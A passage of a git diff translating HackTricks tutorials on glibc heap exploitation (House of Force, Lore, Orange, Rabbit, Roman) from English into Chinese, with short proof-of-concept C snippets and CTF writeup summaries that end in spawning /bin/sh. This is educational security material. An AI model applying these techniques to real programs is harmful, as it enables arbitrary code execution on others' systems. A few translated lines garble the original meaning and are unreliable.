malloc,以便将顶部块移动到该位置。这就是如何轻松计算差异/大小的方法: ```c // From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5 /* - * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): - * new_top = old_top + nb - * nb = new_top - old_top - * req + 2sizeof(long) = new_top - old_top - * req = new_top - old_top - 2sizeof(long) - * req = target - 2sizeof(long) - old_top - 2sizeof(long) - * req = target - old_top - 4*sizeof(long) - */ +* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): +* new_top = old_top + nb +* nb = new_top - old_top +* req + 2sizeof(long) = new_top - old_top +* req = new_top - old_top - 2sizeof(long) +* req = target - 2sizeof(long) - old_top - 2sizeof(long) +* req = target - old_top - 4*sizeof(long) +*/ ``` +因此,分配大小为 `target - old_top - 4*sizeof(long)`(4个long是因为顶部块和新分配块的元数据)将把顶部块移动到我们想要覆盖的地址。\ +然后,再次进行malloc以在目标地址获取一个块。 -Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\ -Then, do another malloc to get a chunk at the target address. - -### References & Other Examples +### 参考文献与其他示例 - [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/) @@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address. - [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c) - [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11) - - The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function - - The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff) - - Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc` - - Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function +- 这个场景的目标是ret2win,我们需要修改一个函数的地址,该函数将由ret2win函数的地址调用 +- 二进制文件存在一个溢出,可以被利用来修改顶部块的大小,该大小被修改为-1或p64(0xffffffffffffffff) +- 然后,计算指针存在的地方的地址,以及从当前顶部块位置到该处的差值,并使用`malloc`进行分配 +- 最后,分配一个新块,其中将包含这个期望的目标,该目标将被ret2win函数覆盖 - [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) - - In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap - - Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**. - - Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh` - - An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`. +- 在`Input your name:`中存在一个初始漏洞,允许从堆中泄漏一个地址 +- 然后在`Org:`和`Host:`功能中,当询问**org name**时,可以填充`s`指针的64B,在栈中紧随其后的是v2的地址,然后是指示的**host name**。由于strcpy将复制s的内容到一个大小为64B的块中,因此可以用**host name**中放入的数据**覆盖顶部块的大小**。 +- 现在任意写入成为可能,`atoi`的GOT被覆盖为printf的地址。然后可以使用`%24$p`泄漏`IO_2_1_stderr`的地址。通过这个libc泄漏,可以再次用`system`的地址覆盖`atoi`的GOT,并传递`/bin/sh`作为参数调用它 +- 在这个其他写作中提出的替代方法[proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud),是用`puts`覆盖`free`,然后在稍后将被释放的指针中添加`atoi@got`的地址,以便泄漏,并通过这个泄漏再次用`system`覆盖`atoi@got`并调用它,参数为`/bin/sh`。 - [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) - - There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function. - - Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content. +- 存在一个UAF,允许重用一个未清除指针的已释放块。由于存在一些读取方法,可以通过在GOT中写入指向free函数的指针来泄漏libc地址,然后调用读取函数。 +- 然后,使用House of force(利用UAF)来用-1覆盖剩余空间的大小,分配一个足够大的块以到达free hook,然后分配另一个块,该块将包含free hook。然后,在hook中写入`system`的地址,在一个块中写入`"/bin/sh"`,最后释放包含该字符串内容的块。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md index 862ba7323..d02aa13c6 100644 --- a/src/binary-exploitation/libc-heap/house-of-lore.md +++ b/src/binary-exploitation/libc-heap/house-of-lore.md @@ -2,43 +2,43 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -### Code +### 代码 -- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) - - This isn't working -- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c) - - This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected` -- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) +- 检查来自 [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) +- 这个不工作 +- 或者: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c) +- 即使它尝试绕过一些检查,仍然不工作,出现错误: `malloc(): unaligned tcache chunk detected` +- 这个例子仍然有效: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) -### Goal +### 目标 -- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\ - Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position. +- 在小桶中插入一个**假小块,以便可以分配它**。\ +注意,添加的小块是攻击者创建的假块,而不是任意位置的假块。 -### Requirements +### 要求 -- Create 2 fake chunks and link them together and with the legit chunk in the small bin: - - `fake0.bk` -> `fake1` - - `fake1.fd` -> `fake0` - - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) - - `legit.bk` -> `fake0` +- 创建2个假块并将它们链接在一起,并与小桶中的合法块链接: +- `fake0.bk` -> `fake1` +- `fake1.fd` -> `fake0` +- `fake0.fd` -> `legit`(你需要通过其他漏洞修改已释放小桶块中的指针) +- `legit.bk` -> `fake0` -Then you will be able to allocate `fake0`. +然后你将能够分配`fake0`。 -### Attack +### 攻击 -- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.** -- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks: - - `fake0.bk` -> `fake1` - - `fake1.fd` -> `fake0` - - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) - - `legit.bk` -> `fake0` -- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins -- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it. +- 分配一个小块(`legit`),然后分配另一个小块以防止与顶部块合并。然后,释放`legit`(将其移动到未排序的桶列表中),并分配一个更大的块,**将`legit`移动到小桶中。** +- 攻击者生成一对假小块,并进行必要的链接以绕过完整性检查: +- `fake0.bk` -> `fake1` +- `fake1.fd` -> `fake0` +- `fake0.fd` -> `legit`(你需要通过其他漏洞修改已释放小桶块中的指针) +- `legit.bk` -> `fake0` +- 分配一个小块以获取合法块,使**`fake0`**成为小桶的顶部列表 +- 再分配一个小块,获取`fake0`作为块,允许潜在地读取/写入其中的指针。 -## References +## 参考 - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) - [https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore) diff --git a/src/binary-exploitation/libc-heap/house-of-orange.md b/src/binary-exploitation/libc-heap/house-of-orange.md index e57f477c6..ac519ac6c 100644 --- a/src/binary-exploitation/libc-heap/house-of-orange.md +++ b/src/binary-exploitation/libc-heap/house-of-orange.md @@ -2,72 +2,72 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -### Code +### 代码 -- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) - - The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26) -- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) +- 在 [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) 找到一个示例 +- 该利用技术在这个 [补丁](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) 中被修复,因此现在不再有效(在 2.26 之前有效) +- 同样的示例 **带有更多注释** 在 [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) -### Goal +### 目标 -- Abuse `malloc_printerr` function +- 滥用 `malloc_printerr` 函数 -### Requirements +### 要求 -- Overwrite the top chunk size -- Libc and heap leaks +- 覆盖顶部块大小 +- Libc 和堆泄漏 -### Background +### 背景 -Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:** +一些来自 [**这个示例**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)** 的必要背景:** -Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\ -This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\ -Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution +问题是,在旧版本的 libc 中,当调用 `malloc_printerr` 函数时,它会 **遍历存储在 `_IO_list_all` 中的 `_IO_FILE` 结构的列表**,并实际 **执行** 该结构中的指令指针。\ +这个攻击将伪造一个 **假的 `_IO_FILE` 结构**,我们将写入 **`_IO_list_all`**,并导致 `malloc_printerr` 运行。\ +然后它将 **执行我们在 `_IO_FILE` 结构跳转表中存储的任何地址**,我们将获得代码执行。 -### Attack +### 攻击 -The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set. +攻击开始于成功获取 **未排序的块** 中的 **顶部块**。这是通过调用 `malloc`,其大小大于当前顶部块大小但小于 **`mmp_.mmap_threshold`**(默认是 128K)来实现的,否则会触发 `mmap` 分配。每当顶部块大小被修改时,确保 **顶部块 + 其大小** 是页面对齐的,并且顶部块的 **prev_inuse** 位始终被设置是很重要的。 -To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin. +为了获取未排序块中的顶部块,分配一个块以创建顶部块,改变顶部块大小(通过分配的块中的溢出),使得 **顶部块 + 大小** 与 **prev_inuse** 位设置为页面对齐。然后分配一个大于新顶部块大小的块。请注意,`free` 从未被调用以将顶部块放入未排序块中。 -The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), it’s possible to leak libc addresses from it and get the address of **\_IO_list_all**. +旧的顶部块现在在未排序块中。假设我们可以读取其中的数据(可能是由于导致溢出的漏洞),可以从中泄漏 libc 地址并获取 **\_IO_list_all** 的地址。 -An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**. +通过滥用溢出写入 `topChunk->bk->fwd = _IO_list_all - 0x10` 来执行未排序块攻击。当分配一个新块时,旧的顶部块将被拆分,并且指向未排序块的指针将被写入 **`_IO_list_all`**。 -The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes: +下一步是将旧顶部块的大小缩小以适应小块,特别是将其大小设置为 **0x61**。这有两个目的: -1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack. -2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`. +1. **插入到小块 4**:当 `malloc` 扫描未排序块并看到这个块时,由于其小尺寸,它将尝试将其插入到小块 4。这使得该块最终位于小块 4 列表的头部,这是我们通过未排序块攻击在 **`_IO_list_all`** 中写入的块的 FD 指针的位置。 +2. **触发 malloc 检查**:这个块大小的操作将导致 `malloc` 执行内部检查。当它检查虚假前向块的大小时,该大小将为零,触发错误并调用 `malloc_printerr`。 -The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed. +小块的操作将允许你控制块的前向指针。与 **\_IO_list_all** 的重叠用于伪造一个假的 **\_IO_FILE** 结构。该结构经过精心设计,以包含关键字段,如 `_IO_write_base` 和 `_IO_write_ptr`,设置为通过 libc 内部检查的值。此外,在假结构中创建一个跳转表,其中指令指针设置为可以执行任意代码的地址(例如,`system` 函数)。 -To summarize the remaining part of the technique: +总结该技术的其余部分: -- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin. -- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow. +- **缩小旧顶部块**:将旧顶部块的大小调整为 **0x61** 以适应小块。 +- **设置假的 `_IO_FILE` 结构**:将旧顶部块与假的 **\_IO_FILE** 结构重叠,并适当地设置字段以劫持执行流。 -The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed. +下一步涉及伪造一个与当前在未排序块中的旧顶部块重叠的假 **\_IO_FILE** 结构。该结构的前几个字节经过精心设计,以包含指向将被执行的命令(例如,"/bin/sh")的指针。 -Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands. +假 **\_IO_FILE** 结构中的关键字段,如 `_IO_write_base` 和 `_IO_write_ptr`,被设置为通过 libc 内部检查的值。此外,在假结构中创建一个跳转表,其中指令指针设置为可以执行任意代码的地址。通常,这将是 `system` 函数的地址或其他可以执行 shell 命令的函数。 -The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed. +当调用 `malloc` 触发通过操控的 **\_IO_FILE** 结构执行代码时,攻击达到高潮。这有效地允许任意代码执行,通常导致生成一个 shell 或执行其他恶意负载。 -**Summary of the Attack:** +**攻击总结:** -1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size. -2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk. -3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin. -4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow. -5. **Shrink the old top chunk**: Adjust its size to fit into a small bin. -6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow. -7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code. +1. **设置顶部块**:分配一个块并修改顶部块大小。 +2. **强制顶部块进入未排序块**:分配一个更大的块。 +3. **泄漏 libc 地址**:利用漏洞从未排序块读取。 +4. **执行未排序块攻击**:使用溢出写入 **\_IO_list_all**。 +5. **缩小旧顶部块**:调整其大小以适应小块。 +6. **设置假 \_IO_FILE 结构**:伪造假文件结构以劫持控制流。 +7. **触发代码执行**:分配一个块以执行攻击并运行任意代码。 -This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities. +这种方法利用堆管理机制、libc 信息泄漏和堆溢出来实现代码执行,而无需直接调用 `free`。通过精心构造假 **\_IO_FILE** 结构并将其放置在正确的位置,攻击可以在标准内存分配操作期间劫持控制流。这使得执行任意代码成为可能,可能导致生成 shell 或其他恶意活动。 -## References +## 参考 - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/) - [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) diff --git a/src/binary-exploitation/libc-heap/house-of-rabbit.md b/src/binary-exploitation/libc-heap/house-of-rabbit.md index 230b7c63e..85ed75ce7 100644 --- a/src/binary-exploitation/libc-heap/house-of-rabbit.md +++ b/src/binary-exploitation/libc-heap/house-of-rabbit.md @@ -4,108 +4,90 @@ ### Requirements -1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size. -2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks. +1. **能够修改快速堆块的 fd 指针或大小**: 这意味着您可以更改快速堆中一个块的前向指针或其大小。 +2. **能够触发 `malloc_consolidate`**: 这可以通过分配一个大块或合并顶部块来完成,这会强制堆合并块。 ### Goals -1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations. -2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations. +1. **创建重叠块**: 使一个块与另一个块重叠,从而允许进一步的堆操作。 +2. **伪造假块**: 使分配器在堆操作期间将假块视为合法块。 ## Steps of the attack -### POC 1: Modify the size of a fast bin chunk +### POC 1: 修改快速堆块的大小 -**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk. - -- **Step 1: Allocate Chunks** +**Objective**: 通过操纵快速堆块的大小来创建一个重叠块。 +- **Step 1: 分配块** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050 malloc(0x10); // Allocates a small chunk to change the fastbin state ``` +我们分配了两个各为0x40字节的块。这些块在释放后将被放入快速空闲链表中。 -We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed. - -- **Step 2: Free Chunks** - +- **步骤 2:释放块** ```cpp free(chunk1); // Frees the chunk at 0x602000 free(chunk2); // Frees the chunk at 0x602050 ``` +我们释放这两个块,将它们添加到 fastbin 列表中。 -We free both chunks, adding them to the fastbin list. - -- **Step 3: Modify Chunk Size** - +- **步骤 3:修改块大小** ```cpp chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1]) ``` +我们将 `chunk1` 的大小元数据更改为 0xa1。这是欺骗分配器在合并期间的关键步骤。 -We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation. - -- **Step 4: Trigger `malloc_consolidate`** - +- **步骤 4:触发 `malloc_consolidate`** ```cpp malloc(0x1000); // Allocate a large chunk to trigger heap consolidation ``` +分配大块内存会触发 `malloc_consolidate` 函数,将快速堆中的小块合并。被操控的 `chunk1` 大小导致它与 `chunk2` 重叠。 -Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`. +合并后,`chunk1` 与 `chunk2` 重叠,从而允许进一步的利用。 -After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation. +### POC 2: 修改 `fd` 指针 -### POC 2: Modify the `fd` pointer - -**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer. - -- **Step 1: Allocate Chunks** +**目标**:通过操控快速堆 `fd` 指针创建一个伪造块。 +- **步骤 1:分配块** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050 ``` +**解释**:我们分配两个块,一个较小,一个较大,以便为假块设置堆。 -**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk. - -- **Step 2: Create fake chunk** - +- **步骤 2:创建假块** ```cpp chunk2[1] = 0x31; // Fake chunk size 0x30 chunk2[7] = 0x21; // Next fake chunk chunk2[11] = 0x21; // Next-next fake chunk ``` +我们在 `chunk2` 中写入假块元数据,以模拟更小的块。 -We write fake chunk metadata into `chunk2` to simulate smaller chunks. - -- **Step 3: Free `chunk1`** - +- **步骤 3:释放 `chunk1`** ```cpp free(chunk1); // Frees the chunk at 0x602000 ``` +**解释**:我们释放 `chunk1`,将其添加到 fastbin 列表中。 -**Explanation**: We free `chunk1`, adding it to the fastbin list. - -- **Step 4: Modify `fd` of `chunk1`** - +- **步骤 4:修改 `chunk1` 的 `fd`** ```cpp chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2 ``` +**解释**:我们将 `chunk1` 的前向指针 (`fd`) 更改为指向 `chunk2` 内部的假块。 -**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`. - -- **Step 5: Trigger `malloc_consolidate`** - +- **步骤 5:触发 `malloc_consolidate`** ```cpp malloc(5000); // Allocate a large chunk to trigger heap consolidation ``` +分配一个大块再次触发 `malloc_consolidate`,它处理假块。 -Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk. +假块成为 fastbin 列表的一部分,使其成为进一步利用的合法块。 -The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation. +### 总结 -### Summary - -The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills. +**House of Rabbit** 技术涉及修改 fast bin 块的大小以创建重叠块或操纵 `fd` 指针以创建假块。这使攻击者能够在堆中伪造合法块,从而实现各种形式的利用。理解和实践这些步骤将增强你的堆利用技能。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md index a3deaf939..dbffed335 100644 --- a/src/binary-exploitation/libc-heap/house-of-roman.md +++ b/src/binary-exploitation/libc-heap/house-of-roman.md @@ -2,87 +2,82 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c). +这是一种非常有趣的技术,允许通过假快块、未排序的 bin 攻击和相对覆盖实现 RCE,而无需泄漏。然而,它已经被 [**修补**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c)。 -### Code +### 代码 -- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) +- 你可以在 [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) 找到一个示例 -### Goal +### 目标 -- RCE by abusing relative pointers +- 通过滥用相对指针实现 RCE -### Requirements +### 要求 -- Edit fastbin and unsorted bin pointers -- 12 bits of randomness must be brute forced (0.02% chance) of working +- 编辑快块和未排序 bin 指针 +- 必须强行破解 12 位随机数(0.02% 的成功率) -## Attack Steps +## 攻击步骤 -### Part 1: Fastbin Chunk points to \_\_malloc_hook +### 第 1 部分:快块块指向 \_\_malloc_hook -Create several chunks: +创建几个块: -- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value. -- `chunk2` (0x80, offset 0x70): For good alignment -- `main_arena_use` (0x80, offset 0x100) -- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk +- `fastbin_victim` (0x60, 偏移 0): UAF 块,稍后编辑堆指针以指向 LibC 值。 +- `chunk2` (0x80, 偏移 0x70): 用于良好的对齐 +- `main_arena_use` (0x80, 偏移 0x100) +- `relative_offset_heap` (0x60, 偏移 0x190): 在 'main_arena_use' 块上的相对偏移 -Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers. +然后 `free(main_arena_use)`,这将把这个块放入未排序列表,并在 `fd` 和 `bk` 指针中获取指向 `main_arena + 0x68` 的指针。 -Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`. - -Then `relative_offset_heap` and `fastbin_victim` are freed. +现在分配一个新的块 `fake_libc_chunk(0x60)`,因为它将包含指向 `main_arena + 0x68` 的指针在 `fd` 和 `bk` 中。 +然后 `relative_offset_heap` 和 `fastbin_victim` 被释放。 ```c /* Current heap layout: - 0x0: fastbin_victim - size 0x70 - 0x70: alignment_filler - size 0x90 - 0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68) - 0x170: leftover_main - size 0x20 - 0x190: relative_offset_heap - size 0x70 +0x0: fastbin_victim - size 0x70 +0x70: alignment_filler - size 0x90 +0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68) +0x170: leftover_main - size 0x20 +0x190: relative_offset_heap - size 0x70 - bin layout: - fastbin: fastbin_victim -> relative_offset_heap - unsorted: leftover_main +bin layout: +fastbin: fastbin_victim -> relative_offset_heap +unsorted: leftover_main */ ``` +- `fastbin_victim` 有一个指向 `relative_offset_heap` 的 `fd` +- `relative_offset_heap` 是从 `fake_libc_chunk` 的距离偏移量,其中包含指向 `main_arena + 0x68` 的指针 +- 只需更改 `fastbin_victim.fd` 的最后一个字节,就可以使 `fastbin_victim` 指向 `main_arena + 0x68` -- `fastbin_victim` has a `fd` pointing to `relative_offset_heap` -- `relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68` -- Just changing the last byte of `fastbin_victim.fd` it's possible to make 